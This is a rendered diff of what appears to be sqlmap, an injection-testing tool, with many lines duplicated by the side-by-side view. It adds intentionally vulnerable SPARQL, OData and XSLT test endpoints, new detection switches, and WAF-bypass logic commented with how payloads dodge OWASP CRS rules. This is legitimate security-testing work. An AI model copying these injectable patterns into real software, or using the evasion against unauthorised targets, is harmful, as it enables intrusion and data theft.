JWT_TOKEN = _jwt_forge({"alg": "HS256", "typ": "JWT", "kid": "key1"}, {"user": "guest", "role": "user", "exp": 9999999999}, JWT_SECRET) JWT_TOKEN = _jwt_forge({"alg": "HS256", "typ": "JWT", "kid": "key1"}, {"user": "guest", "role": "user", "exp": 9999999999}, JWT_SECRET)
if PY3: if PY3:
from http.client import BAD_REQUEST
from http.client import FORBIDDEN from http.client import FORBIDDEN
from http.client import INTERNAL_SERVER_ERROR from http.client import INTERNAL_SERVER_ERROR
from http.client import NOT_FOUND from http.client import NOT_FOUND
@@ -77,6 +78,7 @@ if PY3:
else: else:
from BaseHTTPServer import BaseHTTPRequestHandler from BaseHTTPServer import BaseHTTPRequestHandler
from BaseHTTPServer import HTTPServer from BaseHTTPServer import HTTPServer
from httplib import BAD_REQUEST
from httplib import FORBIDDEN from httplib import FORBIDDEN
from httplib import INTERNAL_SERVER_ERROR from httplib import INTERNAL_SERVER_ERROR
from httplib import NOT_FOUND from httplib import NOT_FOUND
@@ -349,8 +351,274 @@ def hql_evaluate(value):
clause = "name = '%s'" % value clause = "name = '%s'" % value
return any(all(_hql_atom(a) for a in term.split(" AND ")) for term in clause.split(" OR ")) return any(all(_hql_atom(a) for a in term.split(" AND ")) for term in clause.split(" OR "))
# --- SPARQL endpoint (vulnerable name search over a tiny in-memory triple store) ------------------
class _SparqlError(Exception):
pass
# (subject, predicate, object) triples of the default graph. Objects are what a blind dump recovers.
SPARQL_TRIPLES = (
("http://example.org/p1", "http://xmlns.com/foaf/0.1/name", "luther"),
("http://example.org/p1", "http://xmlns.com/foaf/0.1/mbox", "[email protected]"),
("http://example.org/secret", "http://example.org/flag", "S3CR3Tvalue"),
)
_SPARQL_PREDICATES = sorted(set(_[1] for _ in SPARQL_TRIPLES))
_SPARQL_OBJECTS = sorted(_[2] for _ in SPARQL_TRIPLES)
def _sparql_bind(inner, offset):
"""The string/integer a sub-pattern binds to ?v, or None when the OFFSET is past the end."""
if "COUNT(*)" in inner:
return len(SPARQL_TRIPLES)
if "COUNT(DISTINCT ?p)" in inner:
return len(_SPARQL_PREDICATES)
if "DISTINCT ?p" in inner:
return _SPARQL_PREDICATES[offset] if offset < len(_SPARQL_PREDICATES) else None
if "SELECT ?o" in inner:
return _SPARQL_OBJECTS[offset] if offset < len(_SPARQL_OBJECTS) else None
return None
def _sparql_cmp(value, cmp):
"""Evaluate one comparison on the bound ?v, mirroring SPARQL semantics (an out-of-range SUBSTR is
the empty string, which is lexicographically below any real character)."""
match = re.match(r"^\?v >= (\d+)$", cmp)
if match:
return isinstance(value, int) and value >= int(match.group(1))
match = re.match(r"^STRLEN\(STR\(\?v\)\) >= (\d+)$", cmp)
if match:
return len("%s" % value) >= int(match.group(1))
# a quote or a backslash arrives ECHAR-escaped, the way a real store receives it inside a literal
match = re.match(r'^SUBSTR\(STR\(\?v\),(\d+),1\) >= "(\\.|.)"$', cmp)
if match:
pos, ch = int(match.group(1)), match.group(2)
ch = {'\\"': '"', "\\\\": "\\"}.get(ch, ch)
text = "%s" % value
return (text[pos - 1] if pos <= len(text) else "") >= ch
return False
def _sparql_predicate(pred):
"""Evaluate one injected FILTER predicate against the store."""
pred = pred.strip()
if pred in ("1=1", "(1=1)"):
return True
if pred in ("1=2", "(1=2)"):
return False
if "FILTER(!isIRI(?zo))" in pred: # the confirm contradiction (two FILTERs)
return False
if pred == "EXISTS { ?zs ?zp ?zo }": # the confirm positive
return bool(SPARQL_TRIPLES)
match = re.match(r"^EXISTS \{ SELECT \?v WHERE \{ (.*) FILTER\((.*)\) \} \}$", pred)
if match:
inner, cmp = match.group(1).strip(), match.group(2).strip()
offset = 0
off = re.search(r"OFFSET (\d+)", inner)
if off:
offset = int(off.group(1))
value = _sparql_bind(inner, offset)
return value is not None and _sparql_cmp(value, cmp)
return False
def sparql_evaluate(value):
"""Evaluate the injected FILTER of SELECT ... FILTER(?name = "<value>"). A well-formed boundary
reduces to its injected predicate; anything that leaves the string literal unbalanced raises a
Jena-style parser error (the fingerprint surface)."""
# recognised OR-style boundaries: <base><quote> || (<PRED>) || <tail>
for quote, tail in (('"', '""!="'), ("'", "''!='")):
marker = '%s || (' % quote
suffix = ') || %s' % tail
if marker in value and value.endswith(suffix):
pred = value.split(marker, 1)[1][:-len(suffix)]
return _sparql_predicate(pred)
# numeric boundary: <base>) || (<PRED>) || (1=1
if ") || (" in value and value.endswith(") || (1=1"):
pred = value.split(") || (", 1)[1][:-len(") || (1=1")]
return _sparql_predicate(pred)
# a bare, unbalanced break-out (the error probe) trips the parser
if value.count('"') % 2 or value.rstrip().endswith(("'", ")", ".")):
raise _SparqlError("Parse error: Lexical error at line 1, column %d. Encountered: <EOF>" % (len(value) + 40))
# the untouched original value simply matches its row
return any(o == value for _s, p, o in SPARQL_TRIPLES if p.endswith("name"))
# --- OData endpoint (vulnerable $filter over a tiny in-memory entity set) --------------------------
class _ODataError(Exception):
pass
# entities of the "Products" set. 'Secret' is readable via $filter yet never $select-ed, so a blind dump
# recovers a property the endpoint does not otherwise expose.
ODATA_ENTITIES = (
{"Id": 1, "Name": "luther", "Secret": "S3CR3Tvalue"},
{"Id": 2, "Name": "fluffy", "Secret": "hunter2"},
{"Id": 3, "Name": "wu", "Secret": "letmein"},
)
_ODATA_FIELDS = ("Id", "Name", "Secret")
def _odata_depths(expr):
"""Paren depth after each character, IGNORING parens that sit inside a string literal (OData escapes
an inner quote by doubling it). Counting them blind made this evaluator reject filters that a real
OData service accepts - `substring(Name,0,1) eq '('` returned 400 here and 200 from ASP.NET Core -
which would let a genuine client-side bug hide behind a target-side one."""
depths = []
depth, inside, index = 0, False, 0
while index < len(expr):
ch = expr[index]
if inside:
if ch == "'":
if expr[index:index + 2] == "''":
depths.append(depth) # a doubled quote stays inside the literal
index += 1
else:
inside = False
elif ch == "'":
inside = True
elif ch == "(":
depth += 1
elif ch == ")":
depth -= 1
depths.append(depth)
index += 1
return depths
def _odata_split(expr, sep):
"""Split on `sep` at paren depth zero (so 'a and (b or c)' is not broken inside the parentheses)."""
parts, buf = [], []
for token in expr.split(sep):
buf.append(token)
chunk = sep.join(buf)
depths = _odata_depths(chunk)
if not depths or depths[-1] == 0:
parts.append(chunk)
buf = []
if buf:
parts.append(sep.join(buf))
return parts
def _odata_wrapped(expr):
"""True when the whole expression is enclosed by one matching paren pair."""
if not (expr.startswith("(") and expr.endswith(")")):
return False
depths = _odata_depths(expr)
return depths[-1] == 0 and all(_ > 0 for _ in depths[:-1])
def _odata_eval(entity, expr):
"""Recursively evaluate an OData boolean expression for one entity ('or' lowest precedence, then
'and', then a leaf atom), so parenthesised sub-expressions nest correctly."""
expr = expr.strip()
while _odata_wrapped(expr):
expr = expr[1:-1].strip()
ors = _odata_split(expr, " or ")
if len(ors) > 1:
return any(_odata_eval(entity, o) for o in ors)
ands = _odata_split(expr, " and ")
if len(ands) > 1:
return all(_odata_eval(entity, a) for a in ands)
return _odata_atom(entity, expr)
def _odata_atom(entity, atom):
"""Evaluate one leaf OData boolean atom against one entity, mirroring the shapes sqlmap emits. Raises
_ODataError on an unknown property (a 400 surface)."""
atom = atom.strip()
while _odata_wrapped(atom):
atom = atom[1:-1].strip()
match = re.match(r"^length\('([^']*)'\) eq (\d+)$", atom)
if match:
return len(match.group(1)) == int(match.group(2))
match = re.match(r"^startswith\('([^']*)','([^']*)'\)$", atom)
if match:
return match.group(1).startswith(match.group(2))
match = re.match(r"^contains\('([^']*)','([^']*)'\)$", atom)
if match:
return match.group(2) in match.group(1)
if atom.startswith("substringof("):
raise _ODataError("substringof is not a v4 function")
match = re.match(r"^'([^']*)' eq '([^']*)'$", atom)
if match:
return match.group(1) == match.group(2)
match = re.match(r"^(\d+) eq (\d+)$", atom)
if match:
return match.group(1) == match.group(2)
match = re.match(r"^(\w+) eq '([^']*)'$", atom) # <strprop> eq '<lit>'
if match:
if match.group(1) not in _ODATA_FIELDS:
raise _ODataError("Could not find a property named '%s' on type 'Default.Product'." % match.group(1))
return "%s" % entity.get(match.group(1)) == match.group(2)
match = re.match(r"^(\w+) ne null$", atom) # existence probe
if match:
if match.group(1) not in _ODATA_FIELDS:
raise _ODataError("Could not find a property named '%s' on type 'Default.Product'." % match.group(1))
return entity.get(match.group(1)) is not None
match = re.match(r"^(\w+) (eq|ge|gt|le|lt) (-?\d+)$", atom) # <intprop> <op> <int>
if match:
prop, op, num = match.group(1), match.group(2), int(match.group(3))
if prop not in _ODATA_FIELDS:
raise _ODataError("Could not find a property named '%s' on type 'Default.Product'." % prop)
val = entity.get(prop)
if not isinstance(val, int):
return False
return {"eq": val == num, "ge": val >= num, "gt": val > num, "le": val <= num, "lt": val < num}[op]
match = re.match(r"^length\((\w+)\) (eq|ge) (\d+)$", atom) # length(<prop>) <op> N
if match:
prop, op, num = match.group(1), match.group(2), int(match.group(3))
if prop not in _ODATA_FIELDS:
raise _ODataError("Could not find a property named '%s' on type 'Default.Product'." % prop)
length = len("%s" % entity.get(prop, ""))
return length == num if op == "eq" else length >= num
# substring(<prop>,pos,1) eq 'c' - an inner quote arrives DOUBLED, the way the OData spec escapes it
match = re.match(r"^substring\((\w+),(\d+),1\) eq '(''|.)'$", atom)
if match:
prop, pos, ch = match.group(1), int(match.group(2)), match.group(3)
ch = "'" if ch == "''" else ch
if prop not in _ODATA_FIELDS:
raise _ODataError("Could not find a property named '%s' on type 'Default.Product'." % prop)
text = "%s" % entity.get(prop, "")
return pos < len(text) and text[pos] == ch # 0-indexed, ordinal (case-sensitive)
raise _ODataError("Syntax error at position 0 in '%s'." % atom)
def odata_evaluate(name):
"""Return the entities matched by $filter=Name eq '<name>'. A balanced break-out reduces to its
injected predicate; an unbalanced string literal raises a Microsoft-OData-style parser error."""
expr = "Name eq '%s'" % name
if expr.count("'") % 2:
raise _ODataError("The query specified in the URI is not valid. There is an unterminated string "
"literal at position 8 in '%s'." % expr)
return [entity for entity in ODATA_ENTITIES if _odata_eval(entity, expr)]
# --- XPath endpoint (vulnerable search and login, backed by an in-memory XML document) ------------ # --- XPath endpoint (vulnerable search and login, backed by an in-memory XML document) ------------
XSLT_DOC = """<?xml version="1.0"?><catalog><item><name>luther</name><price>10</price></item>\
<item><name>fluffy</name><price>20</price></item></catalog>"""
# The element slot: user input lands BETWEEN elements, so it can introduce whole XSLT instructions.
XSLT_ELEMENT_SHEET = """<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="html"/><xsl:template match="/"><html><body><div>%s</div></body></html></xsl:template>
</xsl:stylesheet>"""
# The value slot: user input lands INSIDE select="...", so it can only carry an XPath expression.
XSLT_VALUE_SHEET = """<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="html"/><xsl:template match="/"><html><body><table>
<xsl:for-each select="catalog/item"><xsl:sort select="%s"/><tr><td><xsl:value-of select="name"/></td></tr></xsl:for-each>
</table></body></html></xsl:template>
</xsl:stylesheet>"""
XPATH_XML = """<?xml version="1.0" encoding="UTF-8"?> XPATH_XML = """<?xml version="1.0" encoding="UTF-8"?>
<directory> <directory>
<department name="IT Operations"> <department name="IT Operations">
@@ -1177,6 +1445,85 @@ class ReqHandler(BaseHTTPRequestHandler):
self.wfile.write(output.encode(UNICODE_ENCODING)) self.wfile.write(output.encode(UNICODE_ENCODING))
return return
if self.url == "/sparql/search":
# VULNERABLE: the parameter is concatenated into a FILTER string literal of a SPARQL query,
# SELECT ?name WHERE { ?p foaf:name ?name . FILTER(?name = "<q>") }. A broken-out FILTER
# becomes an attacker-controlled boolean (boolean-based blind); a syntax break surfaces a
# Jena-style parser error.
q = self.params.get("q", "luther")
try:
matched = sparql_evaluate(q)
rows = "".join("<li>%s</li>" % o for _s, p, o in SPARQL_TRIPLES
if p.endswith("name") and matched)
self.send_response(OK)
self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
self.send_header("Connection", "close")
self.end_headers()
self.wfile.write(("<html><body><ul>%s</ul></body></html>" % rows).encode(UNICODE_ENCODING))
except _SparqlError as ex:
self.send_response(INTERNAL_SERVER_ERROR)
self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
self.send_header("Connection", "close")
self.end_headers()
self.wfile.write(("<html><body><pre>%s</pre></body></html>" % str(ex)).encode(UNICODE_ENCODING))
return
if self.url == "/odata/search":
# VULNERABLE: the parameter is concatenated into an OData $filter string literal,
# $filter=Name eq '<name>'. A broken-out filter becomes an attacker-controlled boolean
# (boolean-based blind); an unbalanced literal surfaces a Microsoft-OData parser error (400).
# The response only shows Id and Name (as if $select=Id,Name), yet 'Secret' stays reachable
# through the injected filter - the property a blind dump recovers.
name = self.params.get("name", "luther")
try:
matched = odata_evaluate(name)
rows = "".join("<li>%s: %s</li>" % (e["Id"], e["Name"]) for e in matched)
self.send_response(OK)
self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
self.send_header("Connection", "close")
self.end_headers()
self.wfile.write(("<html><body><ul>%s</ul></body></html>" % rows).encode(UNICODE_ENCODING))
except _ODataError as ex:
self.send_response(BAD_REQUEST)
self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING)
self.send_header("Connection", "close")
self.end_headers()
self.wfile.write(json.dumps({"error": {"message": str(ex)}}).encode(UNICODE_ENCODING))
return
if self.url == "/echo":
# A pure reflector: no engine of any kind behind it, it only shows the parameter back. Every
# non-SQL switch must stay silent here. A differential built on "the page changed" is
# satisfied by reflection alone, which is how several engines reported this shape as
# injectable - so this endpoint is the regression gate for that whole class.
self.send_response(OK)
self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
self.send_header("Connection", "close")
self.end_headers()
self.wfile.write(("<html><body>you searched for: %s</body></html>" % self.params.get("q", "")).encode(UNICODE_ENCODING))
return
if self.url in ("/xslt/element", "/xslt/value"):
# VULNERABLE: user input is concatenated into a stylesheet which is then compiled and applied
element = self.url.endswith("element")
source = self.params.get("tpl" if element else "sort", "" if element else "name")
try:
from lxml import etree
sheet = (XSLT_ELEMENT_SHEET if element else XSLT_VALUE_SHEET) % source
transform = etree.XSLT(etree.fromstring(sheet.encode("utf-8")))
output = str(transform(etree.fromstring(XSLT_DOC.encode("utf-8"))))
code = OK
except Exception as ex:
output = "<html><body><h1>XSLT error</h1><pre>%s: %s</pre></body></html>" % (type(ex).__name__, ex)
code = INTERNAL_SERVER_ERROR
self.send_response(code)
self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
self.send_header("Connection", "close")
self.end_headers()
self.wfile.write(output.encode(UNICODE_ENCODING))
return
if self.url == "/xpath/search": if self.url == "/xpath/search":
self.send_response(OK) self.send_response(OK)
self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING) self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING)
+16 -8
View File
@@ -42,25 +42,33 @@ def action():
# First of all we have to identify the back-end database management # First of all we have to identify the back-end database management
# system to be able to go ahead with the injection # system to be able to go ahead with the injection
# automatic WAF-bypass: if a WAF/IPS is present and the back-end DBMS is already indicated by the error setHandler()
# page or the heuristic checks, skip active fingerprinting (the WAF would just block its payloads
# and flood the run with 403s) and assume that DBMS, so the user gets a usable result # automatic WAF-bypass: fingerprinting probes are kept off the WAF/IPS blacklists, so it is tried
if kb.wafBypass and not conf.forceDbms: # first even behind a protection. Only if it comes back empty the back-end DBMS is assumed from
# the error page or the heuristic checks, so that the user still gets a usable result
if kb.wafBypass and not conf.forceDbms and not Backend.getIdentifiedDbms():
fallback = Backend.getErrorParsedDBMSes() or ([kb.heuristicDbms] if kb.heuristicDbms else []) fallback = Backend.getErrorParsedDBMSes() or ([kb.heuristicDbms] if kb.heuristicDbms else [])
fallback = next((_ for _ in fallback if _ and _.lower() in SUPPORTED_DBMS), None) fallback = next((_ for _ in fallback if _ and _.lower() in SUPPORTED_DBMS), None)
if fallback: if fallback:
logger.warning("skipping active back-end DBMS fingerprinting behind the WAF/IPS and assuming '%s' from error/heuristic detection" % fallback) logger.warning("active back-end DBMS fingerprinting did not get through the WAF/IPS. Assuming '%s' from error/heuristic detection" % fallback)
conf.forceDbms = fallback conf.forceDbms = fallback
setHandler() setHandler()
# multi-bit blind ('--multi-bit'): the back-end is known now, so its bit arithmetic can be checked
# before nudging the user towards a channel that reads several characters per request (no requests)
from lib.techniques.blind import multibit
multibit.hint()
if kb.wafBypass and Backend.getDbms(): # persist the assumed DBMS so a resumed run restores it instead of re-fingerprinting (and dead-ending) behind the WAF if kb.wafBypass and Backend.getDbms(): # persist the assumed DBMS so a resumed run restores it instead of re-fingerprinting (and dead-ending) behind the WAF
hashDBWrite(HASHDB_KEYS.DBMS, Backend.getDbms()) hashDBWrite(HASHDB_KEYS.DBMS, Backend.getDbms())
# automatic WAF-bypass: with MySQL behind the WAF, make data retrieval AND table enumeration survive a # automatic WAF-bypass: with MySQL behind the WAF, make data retrieval AND table enumeration survive a
# libinjection-class WAF (e.g. OWASP CRS), verified end-to-end through ModSecurity/CRS: # libinjection-class WAF (e.g. OWASP CRS), verified end-to-end through ModSecurity/CRS:
# * fingerprinting was skipped, so flag has_information_schema (modern MySQL >=5.0 always has it) - # * flag has_information_schema (modern MySQL >=5.0 always has it) in case the DBMS was assumed
# otherwise enumeration wrongly assumes 'MySQL < 5.0' and bails with "no tables"; # rather than fingerprinted, otherwise enumeration wrongly assumes 'MySQL < 5.0' and bails
# with "no tables",
# * 'blindbinary' reshapes the single-character read ORD(MID())->RIGHT(LEFT())>BINARY 0x.. (sheds the # * 'blindbinary' reshapes the single-character read ORD(MID())->RIGHT(LEFT())>BINARY 0x.. (sheds the
# ORD/MID function names scored by 942151/942190); # ORD/MID function names scored by 942151/942190);
# * 'infoschema2innodb' moves table enumeration off 'information_schema' (scored by 942140) onto # * 'infoschema2innodb' moves table enumeration off 'information_schema' (scored by 942140) onto
+29 -2
View File
@@ -86,8 +86,11 @@ from lib.core.settings import HEURISTIC_CHECK_ALPHABET
from lib.core.settings import HQL_ERROR_REGEX from lib.core.settings import HQL_ERROR_REGEX
from lib.core.settings import INFERENCE_EQUALS_CHAR from lib.core.settings import INFERENCE_EQUALS_CHAR
from lib.core.settings import LDAP_ERROR_REGEX from lib.core.settings import LDAP_ERROR_REGEX
from lib.core.settings import ODATA_ERROR_REGEX
from lib.core.settings import SPARQL_ERROR_REGEX
from lib.core.settings import SSTI_ERROR_REGEX from lib.core.settings import SSTI_ERROR_REGEX
from lib.core.settings import XPATH_ERROR_REGEX from lib.core.settings import XPATH_ERROR_REGEX
from lib.core.settings import XSLT_ERROR_REGEX
from lib.core.settings import XXE_ERROR_REGEX from lib.core.settings import XXE_ERROR_REGEX
from lib.core.settings import IPS_WAF_CHECK_PAYLOAD from lib.core.settings import IPS_WAF_CHECK_PAYLOAD
from lib.core.settings import IPS_WAF_CHECK_RATIO from lib.core.settings import IPS_WAF_CHECK_RATIO
@@ -209,6 +212,10 @@ def checkSqlInjection(place, parameter, value):
}) })
if stype == PAYLOAD.TECHNIQUE.UNION: if stype == PAYLOAD.TECHNIQUE.UNION:
if "char" not in test.request:
logger.debug("skipping malformed UNION test '%s' because its request has no character" % title)
continue
configUnion(test.request.char) configUnion(test.request.char)
if "[CHAR]" in title: if "[CHAR]" in title:
@@ -1188,13 +1195,13 @@ def heuristicCheckSqlInjection(place, parameter):
kb.ignoreCasted = readInput(message, default='Y' if conf.multipleTargets else 'N', boolean=True) kb.ignoreCasted = readInput(message, default='Y' if conf.multipleTargets else 'N', boolean=True)
elif result: elif result:
infoMsg += "be injectable" infoMsg += "be SQL injectable"
if Backend.getErrorParsedDBMSes(): if Backend.getErrorParsedDBMSes():
infoMsg += " (possible DBMS: '%s')" % Format.getErrorParsedDBMSes() infoMsg += " (possible DBMS: '%s')" % Format.getErrorParsedDBMSes()
logger.info(infoMsg) logger.info(infoMsg)
else: else:
infoMsg += "not be injectable" infoMsg += "not be SQL injectable"
logger.warning(infoMsg) logger.warning(infoMsg)
kb.heuristicMode = True kb.heuristicMode = True
@@ -1271,6 +1278,26 @@ def heuristicCheckSqlInjection(place, parameter):
if conf.beep: if conf.beep:
beep() beep()
if not conf.xslt and re.search(XSLT_ERROR_REGEX, page or ""):
infoMsg = "heuristic (XSLT) test shows that %sparameter '%s' might be vulnerable to XSLT injection (rerun with switch '--xslt')" % ("%s " % paramType if paramType != parameter else "", parameter)
logger.info(infoMsg)
if conf.beep:
beep()
if not conf.sparql and re.search(SPARQL_ERROR_REGEX, page or ""):
infoMsg = "heuristic (SPARQL) test shows that %sparameter '%s' might be vulnerable to SPARQL injection (rerun with switch '--sparql')" % ("%s " % paramType if paramType != parameter else "", parameter)
logger.info(infoMsg)
if conf.beep:
beep()
if not conf.odata and re.search(ODATA_ERROR_REGEX, page or ""):
infoMsg = "heuristic (OData) test shows that %sparameter '%s' might be vulnerable to OData $filter injection (rerun with switch '--odata')" % ("%s " % paramType if paramType != parameter else "", parameter)
logger.info(infoMsg)
if conf.beep:
beep()
if not conf.xxe and kb.postHint in (POST_HINT.XML, POST_HINT.SOAP) and re.search(XXE_ERROR_REGEX, page or ""): if not conf.xxe and kb.postHint in (POST_HINT.XML, POST_HINT.SOAP) and re.search(XXE_ERROR_REGEX, page or ""):
infoMsg = "heuristic (XXE) test shows that the XML request body might be vulnerable to XML External Entity injection (rerun with switch '--xxe')" infoMsg = "heuristic (XXE) test shows that the XML request body might be vulnerable to XML External Entity injection (rerun with switch '--xxe')"
logger.info(infoMsg) logger.info(infoMsg)
+19 -3
View File
@@ -70,6 +70,7 @@ from lib.core.exception import SqlmapValueException
from lib.core.settings import ASP_NET_CONTROL_REGEX from lib.core.settings import ASP_NET_CONTROL_REGEX
from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES
from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import DEFAULT_GET_POST_DELIMITER
from lib.core.settings import NONSQL_TECHNIQUES
from lib.core.settings import EMPTY_FORM_FIELDS_REGEX from lib.core.settings import EMPTY_FORM_FIELDS_REGEX
from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_REGEX from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_REGEX
from lib.core.settings import HASHDB_STALE_DAYS from lib.core.settings import HASHDB_STALE_DAYS
@@ -532,12 +533,12 @@ def start():
checkJWT() checkJWT()
if conf.mineParams and not any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.hql, conf.jwt)): if conf.mineParams and not any(conf.get(_) for _ in NONSQL_TECHNIQUES):
from lib.utils.paraminer import mineParameters from lib.utils.paraminer import mineParameters
mineParameters() mineParameters()
if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.hql, conf.jwt)) and (conf.reportJson or conf.resultsFile): if any(conf.get(_) for _ in NONSQL_TECHNIQUES) and (conf.reportJson or conf.resultsFile):
singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe/--hql/--jwt) findings; these are reported on the console only") singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (%s) findings; these are reported on the console only" % '/'.join("--%s" % _ for _ in NONSQL_TECHNIQUES))
if conf.graphql: if conf.graphql:
from lib.techniques.graphql.inject import graphqlScan from lib.techniques.graphql.inject import graphqlScan
@@ -564,6 +565,11 @@ def start():
sstiScan() sstiScan()
continue continue
if conf.xslt:
from lib.techniques.xslt.inject import xsltScan
xsltScan()
continue
if conf.xxe: if conf.xxe:
from lib.techniques.xxe.inject import xxeScan from lib.techniques.xxe.inject import xxeScan
xxeScan() xxeScan()
@@ -574,6 +580,16 @@ def start():
hqlScan() hqlScan()
continue continue
if conf.sparql:
from lib.techniques.sparql.inject import sparqlScan
sparqlScan()
continue
if conf.odata:
from lib.techniques.odata.inject import odataScan
odataScan()
continue
if conf.jwt: if conf.jwt:
from lib.techniques.jwt.inject import jwtScan from lib.techniques.jwt.inject import jwtScan
jwtScan() jwtScan()
+7 -4
View File
@@ -1529,6 +1529,8 @@ def cleanQuery(query):
>>> cleanQuery("select id from users") >>> cleanQuery("select id from users")
'SELECT id FROM users' 'SELECT id FROM users'
>>> cleanQuery("select a from selected where b='from'")
"SELECT a FROM selected WHERE b='from'"
""" """
retVal = query retVal = query
@@ -1544,10 +1546,11 @@ def cleanQuery(query):
if not candidate or candidate.lower() not in queryLower: if not candidate or candidate.lower() not in queryLower:
continue continue
queryMatch = re.search(r"(?i)\b(%s)\b" % candidate, query) if "sys_exec" not in query:
# NOTE: the leading branch consumes whole quoted parts (hence keeping keyword-alike data
if queryMatch and "sys_exec" not in query: # and case sensitive quoted identifiers intact), while the keyword itself is switched only
retVal = retVal.replace(queryMatch.group(1), candidate.upper()) # at word boundaries (e.g. 'selected' must not turn into 'SELECTed')
retVal = re.sub(r"(?i)('[^']*'|\"[^\"]*\")|\b%s\b" % candidate, lambda match: match.group(1) or candidate.upper(), retVal)
return retVal return retVal
+23 -1
View File
@@ -124,6 +124,28 @@ SYBASE_TYPES = {
3: "binary", 3: "binary",
19: "text", 19: "text",
20: "image", 20: "image",
# the rest of master..systypes on ASE 15/16 - without these, --schema prints the raw user type number
# for columns as ordinary as bigint, date and univarchar
34: "unichar",
35: "univarchar",
36: "unitext",
37: "date",
38: "time",
39: "daten",
40: "timen",
42: "longsysname",
43: "bigint",
44: "usmallint",
45: "uint",
46: "ubigint",
47: "uintn",
48: "bigdatetime",
49: "bigtime",
50: "bigdatetimen",
51: "bigtimen",
53: "text_locator",
54: "image_locator",
55: "unitext_locator",
} }
ALTIBASE_TYPES = { ALTIBASE_TYPES = {
@@ -266,7 +288,7 @@ DBWIRE_MODULES = {
DBMS.CRATEDB: "postgres", # CrateDB speaks the PostgreSQL wire protocol DBMS.CRATEDB: "postgres", # CrateDB speaks the PostgreSQL wire protocol
DBMS.MYSQL: "mysql", DBMS.MYSQL: "mysql",
DBMS.MSSQL: "tds", DBMS.MSSQL: "tds",
DBMS.SYBASE: "tds", DBMS.SYBASE: "sybase", # ASE speaks TDS 5.0, a different login and token dialect than Microsoft's 7.x
DBMS.CLICKHOUSE: "clickhouse", DBMS.CLICKHOUSE: "clickhouse",
DBMS.MONETDB: "monetdb", DBMS.MONETDB: "monetdb",
DBMS.PRESTO: "presto", DBMS.PRESTO: "presto",
+30 -13
View File
@@ -128,6 +128,7 @@ from lib.core.settings import PARAMETER_SPLITTING_REGEX
from lib.core.settings import PRECONNECT_CANDIDATE_TIMEOUT from lib.core.settings import PRECONNECT_CANDIDATE_TIMEOUT
from lib.core.settings import PROXY_ENVIRONMENT_VARIABLES from lib.core.settings import PROXY_ENVIRONMENT_VARIABLES
from lib.core.settings import SOCKET_PRE_CONNECT_QUEUE_SIZE from lib.core.settings import SOCKET_PRE_CONNECT_QUEUE_SIZE
from lib.core.settings import NONSQL_TECHNIQUES
from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX
from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import SUPPORTED_DBMS
from lib.core.settings import SUPPORTED_OS from lib.core.settings import SUPPORTED_OS
@@ -422,7 +423,10 @@ def _doSearch():
conf.googlePage += 1 conf.googlePage += 1
def _setStdinPipeTargets(): def _setStdinPipeTargets():
if conf.url: # Note: an explicit target source takes precedence. Without this, any non-interactive run (CI,
# cron, subprocess) would reroute '-m/-l/-r/-g' targets through the STDIN container, losing both
# their count and their order
if any((conf.url, conf.direct, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.openApiFile)):
return return
if isinstance(conf.stdinPipe, _collections.Iterable): if isinstance(conf.stdinPipe, _collections.Iterable):
@@ -944,11 +948,14 @@ def _setTamperingFunctions():
warnMsg += "a good idea" warnMsg += "a good idea"
logger.warning(warnMsg) logger.warning(warnMsg)
# tamper scripts rewrite SQL injection payloads; the self-contained non-SQL engines # tamper scripts rewrite SQL injection payloads; the self-contained non-SQL engines do not run
# (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe) do not run payloads through the tampering hook, so # payloads through the tampering hook, so warn instead of silently ignoring the user's
# warn instead of silently ignoring the user's '--tamper' # '--tamper'. One tuple drives both the test and the name lookup - keeping two lists in step is
if kb.tamperFunctions and any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe)): # exactly how this raised StopIteration, and leaving an engine OUT (as '--hql' was) is how the
engine = next(_ for _ in ("graphql", "nosql", "ldap", "xpath", "ssti", "xxe") if conf.get(_)) # warning silently stops covering one.
_nonSqlEngines = ("graphql", "nosql", "ldap", "xpath", "ssti", "xslt", "xxe", "hql", "sparql", "odata")
if kb.tamperFunctions and any(conf.get(_) for _ in _nonSqlEngines):
engine = next(_ for _ in _nonSqlEngines if conf.get(_))
warnMsg = "tamper scripts are applied to SQL injection payloads only and " warnMsg = "tamper scripts are applied to SQL injection payloads only and "
warnMsg += "will be ignored by the '--%s' engine" % engine warnMsg += "will be ignored by the '--%s' engine" % engine
logger.warning(warnMsg) logger.warning(warnMsg)
@@ -2191,9 +2198,17 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.chars = AttribDict() kb.chars = AttribDict()
kb.chars.delimiter = randomStr(length=6, lowercase=True) kb.chars.delimiter = randomStr(length=6, lowercase=True)
